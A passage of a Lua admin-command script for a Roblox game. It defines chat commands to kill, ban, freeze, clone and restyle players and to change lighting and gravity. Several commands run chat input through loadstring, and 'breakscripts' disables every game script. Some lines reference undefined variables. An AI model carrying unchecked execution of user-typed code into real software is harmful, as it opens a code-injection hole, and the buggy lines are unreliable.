- for i,v in pairs(A.Functions.FindChildren(PlayerGroup2.Character,'Hat',4))do
- v.Parent=PlayerGroup1.Character
- end
- end
- end
- end
- end
- end
- end)
- A.Functions.CreateCommand({'abort'},'',function(v,s,w)
- if w[1]:lower''~='x'then return end
- GRIND=function(table)
- if type(table)~='table'then return end
- for i,v in pairs(table)do
- coroutine.resume(coroutine.create(function()v:disconnect''end))
- A.Remove(v)
- pcall(GRIND,v)
- end
- end
- GRIND(A)
- A=nil
- end)
- A.Functions.CreateCommand({'savehats','shs'},'Save your character hats...if you respawn will reload hats LloLOolOL',function(v,s,w,pf,PT)
- for i,Player in pairs(pf(v,s))do
- A.X(function()
- local Table=PT(Player)
- local Character=A.Functions.WaitingForProperty(Player,'Character')
- for i,v in pairs(Table.Hats)do
- A.Remove(v)
- end
- Table.Hats={}
- for i,v in pairs(A.Functions.FindChildren(Character,'Hat',4))do
- table.insert(Table.Hats,v:clone'')
- end
- end)
- end
- end)
- A.Functions.CreateCommand({'removesavedhats','rshs'},'Save your character hats...if you respawn will reload hats LloLOolOL',function(v,s,w,pf,PT)
- for i,Player in pairs(pf(w[1],s))do
- A.X(function()
- for i,v in pairs(PT(Player).Hats)do
- A.Remove(v)
- end
- PT(Player).Hats={}
- end)
- end
- end)
- A.Functions.CreateCommand({'closer','cr'},'asd',function(v,s,w,FindPlayer)
- for i,Player in pairs(FindPlayer(w[2],s))do
- local b=A.Functions.FindBoolean(w[1])
- if b=='idk'then return end
- A.Functions.LoadPlayerTables(Player).Closer=b
- A.Functions.Closer(Player)
- end
- end)
- A.Functions.CreateCommand({'loopkill','lk'},'',function(v,s,w)
- for i,Player in pairs(A.Functions.FindPlayer(v,s))do
- A.X(function()
- if A.Functions.Admin(Player)then return end
- A.Players.PlayersTables[Player.Name].LoopKill=true
- Player.Character:BreakJoints''
- end)
- end
- end)
- A.Functions.CreateCommand({'mmess','mm'},'lal',function(v,s,w,pf)
- for i,p in pairs(pf('all',s))do
- A.Functions.MadnessMessage(v,p)
- end
- end)
- A.Functions.CreateCommand({'maxplayers','mp','maxp'},'Max Players change...',function(v,s,w)
- local c,bug=pcall(function()game:service'Players'.MaxPlayers=v end)
- if bug then
- A.Functions.Report(bug,'Hint',s.Name)
- else
- A.Functions.Report('Max Players : '..tostring(num),'Hint','all')
- end
- end)
- A.Functions.CreateCommand({'die','d','kill'},'Kill people...',function(v,s,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(v,s))do
- A.X(function()
- A.Functions.KO(s,Player)
- A.Functions.GetRemoveChildren('ClassName','Sound',Player.Character)
- A.Functions.GetRemoveChildren('ClassName','Motor6D',Player.Character)
- end)
- end
- end)
- A.Functions.CreateCommand({'flash'},'Flesh power "s/flashc/playerName"',function(v,s,w,pf)
- for i,v in pairs(pf(w[1],s))do
- A.Functions.KO(s,v)
- A.Functions.FlashDie(v.Character)
- end
- end)
- A.Functions.CreateCommand({'respawn','reset','rs'},'Respawn character...',function(v,s,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(v,s))do
- if not pcall(function()Player:LoadCharacter'true'end)then
- DiedCharacter=A.Instance.new('Humanoid',A.Instance.new('Model',game:service'Workspace')).Parent
- DiedCharacter.Name=Player.Name
- Player.Character=DiedCharacter
- A.Functions.KO(s,Player)
- end
- end
- end)
- A.Functions.CreateCommand({'atheist';'atist'},'...',function(v,s,w)
- for i,v in pairs(A.Functions.FindPlayer(v,s))do
- A.X(function()A.Functions.SatanicPriest(v,false)end)
- end
- end)
- A.Functions.CreateCommand({'spriest';'satanic';'satanist'},'...',function(v,s,w)
- for i,v in pairs(A.Functions.FindPlayer(v,s))do
- A.X(function()A.Functions.SatanicPriest(v)end)
- end
- end)
- A.Functions.CreateCommand({'removeclone','rc'},'Remove clones "removeclone/PlayerName...',function(v,s,w)
- if v:lower()=='all'or v==''then
- for i,c in pairs(A.Players.Stuffs)do
- pcall(function()
- if c.Name:lower():match('clone')then
- c.Char:remove''
- end
- end)
- end return
- end
- for i,c in pairs(A.Players.Stuffs)do
- pcall(function()
- if c.Name:lower():find(v:lower())==1 and c.Name:lower():match('clone')then
- c.Char:remove()
- end
- end)
- end
- end)
- A.Functions.CreateCommand({'starterscript','starter script','startscript','ssb'},[[I'm lazy to tell]],function(v,s)
- if v:lower''=='clean'then
- A.Context.Scripts={}
- return
- end
- local e,ee=loadstring(v)
- if ee then
- A.Functions.MadnessMessage(v,s)
- return
- end
- table.insert(A.Context.Scripts,{Source=v})
- end)
- A.Functions.CreateCommand({'mystarterscript','mss'},'If you respawned will reload script "mss/source" if you want remove "mss/clean"',function(v,s,w,asd,pt)
- if v:lower''=='clean'then
- pt(s).Context={}
- return
- end
- local e,ee=loadstring(v)
- if ee then
- A.Functions.Tell(ee,A.Functions.WaitingForObject(s,'class','PlayerGui'))
- A.Functions.MadnessMessage(ee,s)
- return
- end
- table.insert(pt(s).Context,{Source=v})
- end)
- A.Functions.CreateCommand({'jumpdeath','jd'},[[Locked command only can use permanent admins "jd/playerName"...]],function(v,s,w)
- if not A.Functions.Admin(s)then return end
- for i,Player in pairs(A.Functions.FindPlayer(v,s))do
- A.X(function()
- A.Players.PlayersTables[Player.Name].JumpDeath=true
- A.Functions.JumpDeath(Player)
- end)
- end
- end)
- A.Functions.CreateCommand({'face','fe','meme'},[["/face/playerName/ImageId" Say "/face/show!"if you don't know Global faces.... if you want back hats and remove face say "/face/playerName/back"...]],function(v,s,w,pf,pt)
- if w[1]:lower''=='show!'then
- local Load
- local Pos=1
- local List={}
- local Size=400
- local sImage=function(ImageId)
- return A.Functions.AddImage(ImageId,Size,Size)
- end
- Load=function()
- local Screen=A.N'ScreenGui'
- local Frame=A.N('Frame',Screen)
- local Image=A.N('ImageLabel',Frame)
- local Text=A.N('TextLabel',Frame)
- local Down=A.N('ImageButton',Frame)
- local Up=A.N('ImageButton',Frame)
- local Close=A.N('ImageButton',Frame)
- List={}
- for i,v in pairs(A.Other.Meme)do
- table.insert(List,{Name=i,Image=v})
- end
- for i,v in pairs(A.Functions.GetAll(Screen))do
- v.BorderSizePixel=0
- end
- Frame.Size=A.UDim2.new(0,Size,0,Size)
- Frame.Position=A.UDim2.new(.5,-Size/2,.5,-Size/2)
- Frame.Style=3
- Frame.Active=true
- Frame.Draggable=true
- Image.Size=A.UDim2.new(1,0,1,0)
- Image.BackgroundTransparency=1
- Image.Image=sImage(List[Pos].Image)
- Text.Size=A.UDim2.new(1,0,0,20)
- Text.BackgroundColor3=A.Color3.new(0,0,0)
- Text.TextColor3=A.Color3.new(1,1,1)
- Text.BackgroundTransparency=.5
- Text.Font=2
- Text.FontSize=5
- Text.Text=List[Pos].Name
- Down.Size=A.UDim2.new(0,20,0,20)
- Down.Position=A.UDim2.new(1,20,0,20)
- Down.BackgroundTransparency=1
- Down.Image=sImage'36307828'
- Up.Size=A.UDim2.new(0,20,0,20)
- Up.Position=A.UDim2.new(1,20,0,0)
- Up.BackgroundTransparency=1
- Up.Image=sImage'36307824'
- Close.Size=A.UDim2.new(0,20,0,20)
- Close.Position=A.UDim2.new(1,20,0,40)
- Close.BackgroundTransparency=1
- Close.Image=sImage'63126269'
- Down.MouseButton1Down:connect(function()
- Pos=Pos-1
- if Pos<=0 then Pos=#List end
- Image.Image=sImage(List[Pos].Image)
- Text.Text=List[Pos].Name
- end)
- Up.MouseButton1Down:connect(function()
- Pos=Pos+1
- if Pos>#List then Pos=1 end
- Image.Image=sImage(List[Pos].Image)
- Text.Text=List[Pos].Name
- end)
- Close.MouseButton1Down:connect(function()
- Screen:remove''
- Load=nil
- end)
- Screen.Parent=A.Functions.WaitingForObject(s,'ClassName','PlayerGui')
- end
- Load''
- s.ChildAdded:connect(function(c)if c:IsA'PlayerGui'then Load''end end)
- end
- for i,v in pairs(pf(w[1],s))do
- A.X(function()
- A.Functions.LoadFace(w[2],v,pt(v))
- end)
- end
- end)
- A.Functions.CreateCommand({'bss','bstuffs'},'Build tools/bins "bstuffs/player...',function(v,s,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(v,s))do
- for k,b in pairs(Player:children())do
- if b:IsA'Backpack'then
- for i,e in pairs(game:service'InsertService':LoadAsset(55945749):children())do
- e.Parent=b
- end
- end
- end
- end
- end)
- A.Functions.CreateCommand({'cnl','clone'},'Clone "clone/player/howMany...',function(v,s,w)
- num=A.math.abs(A.math.ceil(w[2]))
- if type(num)~='number'then return end
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(w[1],s))do
- A.X(function()
- for i=1,num do
- Player.Character.Archivable=true
- local Character=Player.Character:clone()
- Player.Character.Archivable=false
- table.insert(A.Players.Stuffs,{Char=Character,Name=_Player.Name..' '..'Clone'})
- Character.Parent=game:service'Workspace'
- Character:MakeJoints()
- Character:MoveTo(_Player.Character.PrimaryPart.Position)
- game:service'InsertService':LoadAsset'56611190':children''[1].Parent=Character
- end
- end)
- end
- end)
- A.Functions.CreateCommand({'kick','k'},'Kick player...',function(v,s,w,pf)
- for PlayerNum,Player in pairs(pf(v,s))do
- A.Functions.ShutDownPlayer(Player)
- end
- end)
- A.Functions.CreateCommand({'ub','unban'},'Unbanning...',function(v,s,w)
- for i,w in pairs(A.Players.Stats.Noobs)do
- if w:lower():find(v:lower())==1 then
- table.remove(A.Players.Stats.Noobs,i)
- end
- end
- end)
- A.Functions.CreateCommand({'ban','bb'},'Banning...',function(v,s,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(v,s))do
- if not A.Functions.SAdmin(Player)then
- table.insert(A.Players.Stats.Noobs,Player.Name)
- A.Functions.ShutDownPlayer(Player)
- end
- end
- end)
- A.Functions.CreateCommand({'ua','unadmin'},'Unadmin...',function(v,s,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(v,s))do
- if A.Functions.SAdmin(Player)then
- for i,v in pairs(A.Players.Stats.Guests)do
- if v==Player.Name then
- table.remove(A.Players.Stats.Guests,i)
- end
- end
- end
- end
- end)
- A.Functions.CreateCommand({'unarmor'},'No armor...',function(v,s,w,pf,pt)
- for PlayerNum,Player in pairs(pf(v,s))do
- pt(Player).Armor=false
- A.Functions.Armor(Player.Character,false)
- end
- end)
- A.Functions.CreateCommand({'armor'},'Armor...',function(v,s,w,pf,pt)
- for PlayerNum,Player in pairs(pf(v,s))do
- pt(Player).Armor=true
- A.Functions.Armor(Player.Character,true)
- end
- end)
- A.Functions.CreateCommand({'rocket'},[[Fly character and will die...]],function(v,s,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(v,s))do
- A.X(function()
- local Torso=Player.Character.Torso
- local RocketTorso=A.N'Part'
- A.N('BlockMesh',RocketTorso)
- RocketTorso.BrickColor=A.B.Black()
- RocketTorso.CanCollide=false
- RocketTorso.formFactor=0
- RocketTorso.Size=A.V(3,8,3)
- RocketTorso.CFrame=Torso.CFrame
- RocketTorso.Parent=Torso
- local Weld=A.N'Weld'
- Weld.Parent=Torso
- Weld.Part0=Weld.Parent
- Weld.Part1=RocketTorso
- Weld.C0=A.F(0,0,2)
- local Part=A.N'Part'
- Part.BrickColor=A.B.Black()
- A.N('BlockMesh',Part)
- A.N('Fire',Part).Size=10
- Part.CanCollide=false
- Part.Size=A.V(1,10,1)
- Part.Parent=RocketTorso
- local Weld=A.N'Weld'
- Weld.Parent=RocketTorso
- Weld.Part0=Weld.Parent
- Weld.Part1=Part
- Weld.C0=A.F(2,-1,.5)
- local Part=A.N'Part'
- Part.BrickColor=A.B.Black()
- A.N('BlockMesh',Part)
- A.N('Fire',Part).Size=10
- Part.CanCollide=false
- Part.Size=A.V(1,10,1)
- Part.Parent=RocketTorso
- local Weld=A.N'Weld'
- Weld.Parent=RocketTorso
- Weld.Part0=Weld.Parent
- Weld.Part1=Part
- Weld.C0=A.F(-2,-1,.5)
- local Part=A.N'Part'
- Part.BrickColor=A.B.Black()
- A.N('BlockMesh',Part)
- A.N('Fire',Part).Size=10
- Part.CanCollide=false
- Part.Size=A.V(1,10,1)
- Part.Parent=RocketTorso
- local Weld=A.N'Weld'
- Weld.Parent=RocketTorso
- Weld.Part0=Weld.Parent
- Weld.Part1=Part
- Weld.C0=A.F(0,-1,2)
- A.Functions.GetRemoveChildren('class','body',Player.Character)
- Bf=A.N('BodyForce',Torso)
- for i,w in pairs(A.Functions.GetAll(Player.Character))do
- if w:IsA'BasePart'then
- Bf.force=Bf.force+A.V(0,w:getMass()*50,0)
- Bf:clone().Parent=w
- end
- end
- wait(5)
- for i=1,100 do wait''
- if RocketTorso==nil then break end
- local Exp=A.Instance.new('Explosion')
- Exp.Parent=workspace
- Exp.Position=RocketTorso.Position
- end
- end)
- end
- end)
- A.Functions.CreateCommand({'lockstat','lks'},'"lockstat/playerName/statName/statValue" stat not changed',function(v,s,w)
- for i,v in pairs(A.Functions.FindPlayer(w[1],s))do
- local Player=v
- A.X(function()
- for ii,vv in pairs(Player.leaderstats:children'')do
- if vv.Name:lower'':find(w[2]:lower'')==1 then
- A.X(function()A.Players.Stuffs[Player.Name..'|:|'..vv.Name]:disconnect''end)
- A.Players.Stuffs[Player.Name..'|:|'..vv.Name]=vv.Changed:connect(function()
- wait''
- vv.Value=w[3]
- end)
- vv.Value=w[3]
- end
- end
- end)
- end
- end)
- A.Functions.CreateCommand({'unlockstat','ulks'},'"lockstat/playerName/statName" stat not changed',function(v,s,w)
- for i,v in pairs(A.Functions.FindPlayer(w[1],s))do
- local Player=v
- A.X(function()
- for ii,vv in pairs(Player.leaderstats:children'')do
- if vv.Name:lower'':find(w[2]:lower'')==1 then
- A.X(function()A.Players.Stuffs[Player.Name..'|:|'..vv.Name]:disconnect''end)
- end
- end
- end)
- end
- end)
- A.Functions.CreateCommand({'place'},[[can use not guest admins...]],function(v,s,w)
- A.Functions.LoadPlace(w[1])
- end)
- A.Functions.CreateCommand({'jump'},[[Jump character...]],function(v,s,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(v,s))do
- pcall(function()
- for i,v in pairs(A.Functions.GetAll(Player.Character))do
- pcall(function()
- v.Jump=true
- end)
- end
- end)
- end
- end)
- A.Functions.CreateCommand({'standup','stand','stand up','up'},[[Jump character...]],function(v,s,w,pf,pt)
- for PlayerNum,Player in pairs(pf(w[1],s))do
- pcall(function()
- local Boolean=A.Functions.FindBoolean(w[2])
- local Locking=A.Functions.FindBoolean(w[3])
- Humanoid=A.Functions.WaitingForObject(A.Functions.WaitingForProperty(Player,'Character'),'class','Humanoid')
- Humanoid.PlatformStand=Boolean
- if Locking==true then
- pt(Player).StandUp=true
- A.Functions.StandUp(Player,pt(Player))
- elseif Locking==false then
- pt(Player).StandUp=false
- A.Functions.StandUp(Player,pt(Player))
- end
- end)
- end
- end)
- A.Functions.CreateCommand({'exchange','ex.c','cec'},[[Character exhange "cec/player1/player2" one one player "cec/all/all"not good or "cec/all/me"]],function(v,s,w)
- local player1=A.Functions.FindPlayer(w[1],s)
- local player2=A.Functions.FindPlayer(w[2],s)
- if #player1~=1 then return end
- if #player2~=1 then return end
- local p1=A.Functions.FindPlayer(w[1],s)
- local p2=A.Functions.FindPlayer(w[2],s)
- local c1,c2
- if p1.Character==nil or p2.Character==nil then return end
- p1.Character.Archivable=true
- c1=p1.Character:clone''
- p1.Character:remove''
- p2.Character.Archivable=true
- c2=p2.Character:clone''
- p2.Character:remove''
- p2.Character=c1
- p2.Character.Parent=workspace
- p2.Character:MakeJoints''
- p1.Character=c2
- p1.Character.Parent=workspace
- p1.Character:MakeJoints''
- A.X(function()
- c1.Animate.Disabled=true
- c1.Animate.Disabled=false
- end)
- c2.Animate.Disabled=true
- c2.Animate.Disabled=false
- end)
- A.Functions.CreateCommand({'sit'},[[Sit character...]],function(v,s,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(v,s))do
- pcall(function()
- for i,v in pairs(A.Functions.GetAll(Player.Character))do
- pcall(function()
- v.Sit=true
- end)
- end
- end)
- end
- end)
- A.Functions.CreateCommand({'thaw','tw'},[[Thawed character...]],function(v,s,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(v,s))do
- pcall(function()Players.Stuffs[Player.Name..'_Freeze']:disconnect()end)
- pcall(function()
- for i,v in pairs(A.Functions.GetAll(Player.Character))do
- if v:IsA'BasePart'then
- v.Anchored=false
- end
- end
- end)
- end
- end)
- A.Functions.CreateCommand({'freeze','frz'},[[Frozen character...]],function(v,s,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(v,s))do
- pcall(function()
- for i,v in pairs(A.Functions.GetAll(Player.Character))do
- if v:IsA'BasePart'then
- v.Anchored=true
- if v.Name=='Torso'then
- pcall(function()Players.Stuffs[Player.Name..'_Freeze']:disconnect()end)
- Players.Stuffs[Player.Name..'_Freeze']=v.Changed:connect(function(c)
- if c=='Anchored'then
- v.Anchored=true
- end
- end)
- end
- end
- end
- end)
- end
- end)
- A.Functions.CreateCommand({'unshield'},[[Shield doom...]],function(v,s,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(v,s))do
- A.Players.Stuffs[Player.Name..' Shield']=false
- end
- end)
- A.Functions.CreateCommand({'shield'},[[Shield for noobs can't touch you...]],function(v,s,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(v,s))do
- A.Players.Stuffs[Player.Name..' Shield']=true
- local player=Player
- while true do wait'.1'
- if A.Players.Stuffs[player.Name..' Shield']~=true then return end
- for _PlayerNum,_Player in ipairs(game:service'Players':GetPlayers())do
- pcall(function()
- if A.Functions.ListCheck(A.Players.Stats.Admins,_Player.Name)or A.Functions.ListCheck(A.Players.Stats.Guests,_Player.Name)then return end
- if (_Player.Character.Torso.Position-player.Character.Torso.Position).magnitude<30 then
- A.Functions.KO(player,_Player)
- for i,v in pairs(_Player.Character:children())do
- if v:IsA'Humanoid'then
- v.Torso.Name=''
- end
- end
- end
- end)
- end
- end
- end
- end)
- A.Functions.CreateCommand({'a','admin'},'Admining...',function(v,s,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(v,s))do
- if not A.Functions.SAdmin(Player)then
- table.insert(A.Players.Stats.Guests,Player.Name)
- end
- end
- end)
- A.Functions.CreateCommand({'resetplace';'rp';'replace';'clean'},'All removed...',function(v,s,w)
- A.Functions.Clean(game)
- A.Functions.Base''
- end)
- A.Functions.CreateCommand({'unfog','=f'},'Fog...',function(v,s,w,pf,pt)
- for PlayerNum,Player in pairs(pf(v,s))do
- pt(Player).Fog=false
- A.Functions.Fog(Player)
- end
- end)
- A.Functions.CreateCommand({'fog','~f'},'Fog...',function(v,s,w,pf,pt)
- for PlayerNum,Player in pairs(pf(v,s))do
- pt(Player).Fog=true
- A.Functions.Fog(Player)
- end
- end)
- A.Functions.CreateCommand({'fixcam','fc'},'Camera fix "fc/PlayerName"...',function(v,s,w)
- for pn,p in pairs(A.Functions.FindPlayer(v,s))do
- A.X(function()
- c=A.Instance.new'StringValue'
- c.Name='Fix Cam'
- c.Parent=p
- end)
- end
- end)
- A.Functions.CreateCommand({'ambient','amb'},'Ambient change "amb/color1/color2/color3"',function(v,s,W)
- game:service('Lighting').Ambient=A.C(W[1]/255,W[2]/255,W[3]/255)
- end)
- A.Functions.CreateCommand({'shadow','shw'},'Shadow change "sh/color1/color2/color3"',function(v,s,W)
- game:service('Lighting').ShadowColor=A.C(W[1]/255,W[2]/255,W[3]/255)
- end)
- A.Functions.CreateCommand({'settime','st'},'Time change "t/num"',function(v,s,w)
- game:service('Lighting').TimeOfDay=v
- end)
- A.Functions.CreateCommand({'brightness','brs'},'Brightness change "brs/num"',function(v,s,w)
- game:service('Lighting').Brightness=v
- end)
- A.Functions.CreateCommand({'resetlighting','rl'},'Reset lighting...',function(v,s,w)
- game:service('Lighting').Ambient=A.C(127/255,127/255,127/255)
- game:service('Lighting').ColorShift_Top=A.C(0,0,0)
- game:service('Lighting').ColorShift_Bottom=A.C(0,0,0)
- game:service('Lighting').ShadowColor=A.C(178/255,178/255,178/255)
- game:service('Lighting').Brightness=1
- game:service('Lighting').GeographicLatitude=41.73
- game:service('Lighting').TimeOfDay=14
- end)
- A.Functions.CreateCommand({'setgrav','sg'},'Gravitation change sg/playerName/Value',function(v,s,W)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(W[1],s))do
- A.X(function()
- A.Functions.GetRemoveChildren('class','body',Player.Character)
- for i,w in pairs(A.Functions.FindChildren(Player.Character,'part',4))do
- Bf=A.Instance.new('BodyForce')
- Bf.force=A.Vector3.new(0,w:getMass()*-W[2]*2,0)
- Bf.Parent=w
- end
- end)
- end
- end)
- A.Functions.CreateCommand({'antigrav','ag'},'Anti Gravitation "ag/playerName"',function(v,s,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(v,s))do
- A.X(function()
- A.Functions.GetRemoveChildren('class','body',Player.Character)
- for i,w in pairs(A.Functions.GetAll(Player.Character))do
- if w:IsA'BasePart'then
- Bf=A.N('BodyForce',w)
- Bf.force=Bf.force+A.V(0,w:getMass()*90*2,0)
- end
- end
- end)
- end
- end)
- A.Functions.CreateCommand({'grav','g'},'Gravitation normal',function(v,s,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(v,s))do
- A.X(function()
- for i,v in pairs(A.Functions.FindChildren(Player.Character,'body',4))do
- v:remove''
- end
- end)
- end
- end)
- A.Functions.CreateCommand({'base','~b'},'New map, base...',function(v,s,w)
- local BasePart=A.Functions.Base''
- for cn,c in pairs(game:service('Workspace'):children())do
- if game:service('Players'):GetPlayerFromCharacter(c)then
- A.X(function()
- c.Torso.CFrame=A.F(math.random(-30,30),BasePart.Position.y+30,math.random(-30,30))
- end)
- end
- if not game:service('Players'):GetPlayerFromCharacter(c)and c~=script and c~=BasePart then
- pcall(function()c:remove''end)
- end
- end
- end)
- A.Functions.CreateCommand({'walkspeed','ws'},'Badge/player/badgeId...',function(v,s,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(w[1],s))do
- pcall(function()
- for i,v in pairs(Player.Character:children())do
- if v:IsA'Humanoid'then
- v.WalkSpeed=w[2]
- end
- end
- end)
- end
- end)
- A.Functions.CreateCommand({'sethealth','sh','health'},'sh/player/healthValue...',function(v,s,w,pf,pt)
- for PlayerNum,Player in pairs(pf(w[1],s))do
- pcall(function()
- if type(math.ceil(w[2]))~='number'then return end
- pt(Player).MaxHealth=w[2]
- A.Functions.WaitingForObject(A.Functions.WaitingForProperty(Player,'Character'),'class','Humanoid').MaxHealth=pt(Player).MaxHealth
- end)
- end
- end)
- A.Functions.CreateCommand({'breakscripts','breakscript','breaks','bscript'},'breaks/boolean',function(v,s,w)
- local bool=A.Functions.FindBoolean(w[1])
- if bool=='idk'then return end
- pcall(function()game:service'ScriptContext'.ScriptsDisabled=bool end)
- for i,v in pairs(A.Functions.FindChildren(OLlOlooloL,'BaseScript',3))do
- pcall(function()
- v.Disabled=bool
- end)
- end
- if bool then
- Instance.new=cf
- Vector3.new=cf
- CFrame.new=cf
- Color3.new=cf
- UDim2.new=cf
- elseif not bool then
- Instance.new=A.N
- UDim2.new=A.U
- Vector3.new=A.V
- CFrame.new=A.F
- Color3.new=A.C
- end
- end)
- A.Functions.CreateCommand({'scriptsdisabled','scrsd','scd','scrs'},'Scripts disabled true/false...',function(v,s,w)
- local bool=A.Functions.FindBoolean(w[1])
- if bool=='idk'then return end
- pcall(function()game:service'ScriptContext'.ScriptsDisabled=bool end)
- for i,v in pairs(A.Functions.FindChildren(OLlOlooloL,'BaseScript',3))do
- pcall(function()v.Disabled=bool end)
- end
- end)
- A.Functions.CreateCommand({'badge','ba'},'Badge/player/badgeId...',function(v,s_,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(w[1],s_))do
- game:service('BadgeService'):AwardBadge(Player.userId,w[2])
- end
- end)
- A.Functions.CreateCommand({'rso';'removesavedobjectum';'removeso'},'"/rso/SavedObjectumName"',function(v,s,w)
- pcall(function()A.Objects.SavedObjects[w[1]]:remove''end)
- if pcall(function()A.Objects.SavedObjects[w[1]]=nil end)then
- A.Functions.Report(w[1]..' removed!','m',s.Name)
- end
- end)
- A.Functions.CreateCommand({'loadobjectum';'loadobject';'lo'},'"/lo/SavedObjectumName/Direction"',function(v,s,w)
- local Object=A.Objects.SavedObjects[w[1]]
- local Direction=loadstring('return '..w[2])''
- if type(Object)~='table'and type(Object)~='userdata'then
- A.Functions.Report(w[1]..' not valid!','m',s.Name)
- return
- end
- if type(Direction)=='userdata'then
- if type(Object)=='table'then
- for i,v in pairs(Object)do
- pcall(function()v:clone''.Parent=Direction end)
- end
- elseif type(Object)=='userdata'then
- pcall(function()Object:clone''.Parent=Direction end)
- end
- elseif type(Direction)=='table'then
- if type(Object)=='table'then
- Direction[w[1]]=Object
- elseif type(Object)=='userdata'then
- pcall(function()Direction[w[1]]=Object:clone''end)
- end
- end
- end)
- A.Functions.CreateCommand({'saveobjectum';'sobj';'saveobject'},'";sobj;ObjectumName;Direction"',function(v,s,w)
- local Name=w[1]
- if A.Objects.SavedObjects[Name]then
- A.Functions.Report(Name..' named object is exist...add new name!','m',s.Name)
- return
- end
- local Objectum=loadstring('return '..w[2])''
- if type(Objectum)~='userdata'then
- A.Functions.Report('Wrong direction! ( '..w[2]..' )','m',s.Name)
- return
- end
- if not pcall(function()Objectum:clone''end)then A.Functions.Report('Objectum is locked!','m',s.Name)return end
- if type(Objectum:clone'')~='userdata'then
- A.Objects.SavedObjects[Name]=Objectum:children''
- return
- end
- A.Objects.SavedObjects[Name]=Objectum:clone''
- end)
- A.Functions.CreateCommand({'admintools','at'},'Admin tools at/PlayerName',function(v,s,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(v,s))do
- local add=function(id)
- for i,v in pairs(game:service'InsertService':LoadAsset(id):children'')do
- v.Parent=Player.Backpack
- end
- end
- add(A.Objects.Packs.Backpack.CRoad)
- add(A.Objects.Packs.Backpack.Fly)
- add(A.Objects.Packs.Backpack.BrickGenerator)
- add(A.Objects.Packs.Backpack.telepathy)
- add(A.Objects.Packs.Backpack.Angel)
- end
- end)
- A.Functions.CreateCommand({'cc','cleancharacter'},'Clean character surpluses',function(v,s_,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(v,s_))do
- A.X(function()
- for i,v in pairs(A.Functions.GetAll(Player.Character))do
- if v.ClassName=='Script'or v:IsA'Sparkles'then
- v:remove()
- end
- end
- end)
- end
- end)
- A.Functions.CreateCommand({'oinvisible','oiv'},'Your character invisibled...',function(v,s,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(v,s))do
- A.X(function()
- for i,v in pairs(A.Functions.GetAll(Player.Character))do
- pcall(function()v.Transparency=1 end)
- end
- end)
- end
- end)
- A.Functions.CreateCommand({'ovisible','ov'},'Your character invisibled...',function(v,s,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(v,s))do
- A.X(function()
- for i,v in pairs(A.Functions.GetAll(Player.Character))do
- pcall(function()v.Transparency=0 end)
- end
- end)
- end
- end)
- A.Functions.CreateCommand({'invisible','iv'},'Your character invisibled...',function(v,s,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(v,s))do
- A.Functions.CreateScript('LocalScript',Player,[[
- game.Players.LocalPlayer.Character.Parent=workspace.CurrentCamera
- ]])
- end
- end)
- A.Functions.CreateCommand({'weapon','wep'},[[Weapons say weapons if you don't know weapons names..."wep/Player/weapon"if you want your weapon "wep/Plyer/IDnumber"]],function(v,s,w,pf,pt)
- for PlayerNum,Player in pairs(pf(w[1],s))do
- if not tonumber(w[2])then
- for i,v in pairs(A.Objects.Packs.Backpack)do
- if i:lower'':find(w[2])==1 then
- local Model=A.Instance.new'Model'
- local Stuff=(function()
- t=type(v)
- if t=='number'then return game:service'InsertService':LoadAsset(v)
- elseif t=='string'then return A.Functions.CreateScript('LocalScript',nil,v)
- elseif t=='userdata'then return v
- end
- end)()
- if not Stuff:IsA'Model'then
- Stuff.Parent=Model
- else
- Model=Stuff
- end
- for i,v in pairs(Model:children'')do
- v.Parent=Player.Backpack
- end
- end
- end
- else
- for i,v in pairs(game:service'InsertService':LoadAsset(w[2]):children'')do
- v.Parent=Player.Backpack
- end
- end
- end
- end)
- A.Functions.CreateCommand({'clearsparkles','cspe','rspe'},'"cspe/playerName" remove sparkles',function(v,s,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(v,s))do
- A.X(function()
- A.Functions.GetRemoveChildren('class','sparkles',Player.Character)
- end)
- end
- end)
- A.Functions.CreateCommand({'sparkles','sparkle','spe'},'"spe/playerName/Limb/Color1/Color2/Color3" Sparkles in limbs/body...',function(v,s_,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(w[1],s_))do
- A.X(function()
- local player=Player
- for i,v in pairs(player.Character:children'')do
- if v.Name:lower'':find(w[2]:lower'')==1 or v.Name:lower'':match(w[2]:lower'')then
- local sparkles=A.N'Sparkles'
- sparkles.SparkleColor=A.C(w[3],w[4],w[5])
- sparkles.Parent=v
- end
- end
- end)
- end
- end)
- A.Functions.CreateCommand({'clearsmoke','csmo','rsmo'},'"csmo/playerName" remove smoke',function(v,s,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(v,s))do
- A.X(function()
- A.Functions.GetRemoveChildren('class','smoke',Player.Character)
- end)
- end
- end)
- A.Functions.CreateCommand({'smoke','smo'},'"smo/playerName/Limb/SmokeSize/Color1/Color2/Color3" Smoke in limbs/body...',function(v,s,w)
- for PlayerNum,Player in pairs(A.Functions.FindPlayer(w[1],s))do
- A.X(function()
- local player=Player
- for i,v in pairs(player.Character:children'')do
- if v.Name:lower'':find(w[2]:lower'')==1 or v.Name:lower'':match(w[2]:lower'')then
- local smoke=A.N'Smoke'
- smoke.Size=w[3]
- smoke.Color=A.C(w[4],w[5],w[6])
